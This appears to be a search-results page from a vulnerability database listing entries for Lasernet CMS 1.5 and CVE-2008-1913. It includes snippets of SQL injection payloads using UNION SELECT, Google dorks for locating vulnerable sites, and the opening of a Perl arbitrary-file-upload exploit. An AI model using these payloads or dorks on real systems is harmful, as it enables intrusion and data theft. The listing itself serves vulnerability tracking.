21 matches found
EUVD-2008-1913
Malware in sbrugna...
Lasernet CMS 1.5 - SQL Injection Vulnerability
No description provided by source. Title : LASERnet CMS Vulnerable to SQL Injection Vendor : http://lasernet.gr/cms.php Dork : intext:Powered by Lasernet Category: WebApps http://localhost.com/index.php?id=SQL Demo: http://localhost.com/index.php ?id=-1' UNION SELECT...
LaserNet CMS <= 1.5 - Arbitrary File Upload Exploit
No description provided by source. !/usr/bin/perl use strict; use warnings; use LWP::UserAgent; use HTTP::Request::Common; print INTRO; +++++++++++++++++++++++++++++++++++++++++++++++++++++ + LaserNet CMS = 1.5 Arbitrary File Upload Exploit + + + + Discovered && Coded By: t0pP8uZz + + Discovered...
LASERnet CMS Version 1.5 SQL injection vulnerability and fix-vulnerability warning-the black bar safety net
Use method: http://www.badguest.cn/index.php?id=SQL Demo: http://www.badguest.cn /index. php? id=-1' UNION SELECT 1,2,3,CONCATWSCHAR32,58,32,user,database,version,5,6,7,8,9,1 0,1 1,1 2,1 3--+ Provide solution The filter index. php page id=parameter input...
Lasernet CMS 'id' Parameter SQL Injection Vulnerability
Lasernet CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the...
Lasernet CMS <= 1.5 SQLi Vulnerability - Active Check
Lasernet CMS is prone to an SQL injection SQLi vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. SPDX-FileCopyrightText: 2011 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the...
Lasernet CMS 1.5 SQL Injection
Title : LASERnet CMS Vulnerable to SQL Injection Vendor : http://lasernet.gr/cms.php Dork : intext:"Powered by Lasernet" Category: WebApps http://localhost.com/index.php?id=SQL Demo: http://localhost.com/index.php ?id=-1' UNION SELECT...
Lasernet CMS Version 1.5 SQL Injection Vulnerability
Exploit for php platform in category web applications Title : LASERnet CMS Vulnerable to SQL Injection Vendor : http://lasernet.gr/cms.php Dork : intext:"Powered by Lasernet" Category: WebApps http://localhost.com/index.php?id=SQL Demo: http://localhost.com/index.php ?id=-1' UNION SELECT...
Lasernet CMS 1.5 - SQL Injection Vulnerability
Lasernet CMS 1.5 - SQL Injection Vulnerability. Webapps exploit for php platform Title : LASERnet CMS Vulnerable to SQL Injection Vendor : http://lasernet.gr/cms.php Dork : intext:"Powered by Lasernet" Category: WebApps http://localhost.com/index.php?id=SQL Demo: http://localhost.com/index.php...
lasernet-upload.txt
!/usr/bin/perl use strict; use warnings; use LWP::UserAgent; use HTTP::Request::Common; print ; print "Enter File Pathpath to local file to upload: "; chompmy $file=; my $ua = LWP::UserAgent-new; my $re = $ua-requestPOST $url.'/admin/FCKeditor/editor/filemanager/upload/php/upload.php', ContentTyp...
LaserNet CMS <= 1.5 Arbitrary File Upload Exploit
Exploit for unknown platform in category web applications ================================================= LaserNet CMS ; print "Enter File Pathpath to local file to upload: "; chompmy $file=; my $ua = LWP::UserAgent-new; my $re = $ua-requestPOST...
LaserNet CMS <= 1.5 Arbitrary File Upload Exploit
No description provided by source. !/usr/bin/perl use strict; use warnings; use LWP::UserAgent; use HTTP::Request::Common; print INTRO; +++++++++++++++++++++++++++++++++++++++++++++++++++++ + LaserNet CMS = 1.5 Arbitrary File Upload Exploit + + + + Discovered && Coded By: t0pP8uZz + + Discovered...
LaserNet CMS 1.5 - Arbitrary File Upload
!/usr/bin/perl use strict; use warnings; use LWP::UserAgent; use HTTP::Request::Common; print ; print "Enter File Pathpath to local file to upload: "; chompmy $file=; my $ua = LWP::UserAgent-new; my $re = $ua-requestPOST $url.'/admin/FCKeditor/editor/filemanager/upload/php/upload.php', ContentTyp...
Sql injection
SQL injection vulnerability in index.php in Lasernet CMS 1.5 and 1.11, when magicquotesgpc is disabled, allows remote attackers to execute arbitrary SQL commands via the new parameter in a new action...
CVE-2008-1913
SQL injection vulnerability in index.php in Lasernet CMS 1.5 and 1.11, when magicquotesgpc is disabled, allows remote attackers to execute arbitrary SQL commands via the new parameter in a new action...
CVE-2008-1913
CVE-2008-1913 affects Lasernet CMS (versions 1.5 and 1.11) with a vulnerable index.php. When magic_quotes_gpc is disabled, an attacker can inject arbitrary SQL via the new parameter in a new action, enabling remote execution and partial impact on confidentiality/integrity/availability. The NVD li...
Lasernet CMS 1.5 (new) Remote SQL Injection Vulnerability
No description provided by source. Lasernet CMS v1.5 Remote Sql nj. Vuln. Founder: cO2 Algeria Security Crew HomePage: http://www.DZ-Secure.com Greatz : To all Hackerz from Algeria & All My Friends . . . Contact: [email protected] Exploit :...
lasernetcms-sql.txt
Lasernet CMS v1.5 Remote Sql İnj. Vuln. Founder: cO2 Algeria Security Crew HomePage: http://www.DZ-Secure.com Greatz : To all Hackerz from Algeria & All My Friends . . . Contact: [email protected] Exploit :...
Lasernet CMS 1.5 (new) Remote SQL Injection Vulnerability
Exploit for unknown platform in category web applications ========================================================= Lasernet CMS 1.5 new Remote SQL Injection Vulnerability ========================================================= Lasernet CMS v1.5 Remote Sql Inj. Vuln. Founder: cO2 Algeria Securi...
LaserNet CMS 1.5 - SQL Injection
Lasernet CMS v1.5 Remote Sql İnj. Vuln. Founder: cO2 Algeria Security Crew HomePage: http://www.DZ-Secure.com Greatz : To all Hackerz from Algeria & All My Friends . . . Contact: [email protected] Exploit :...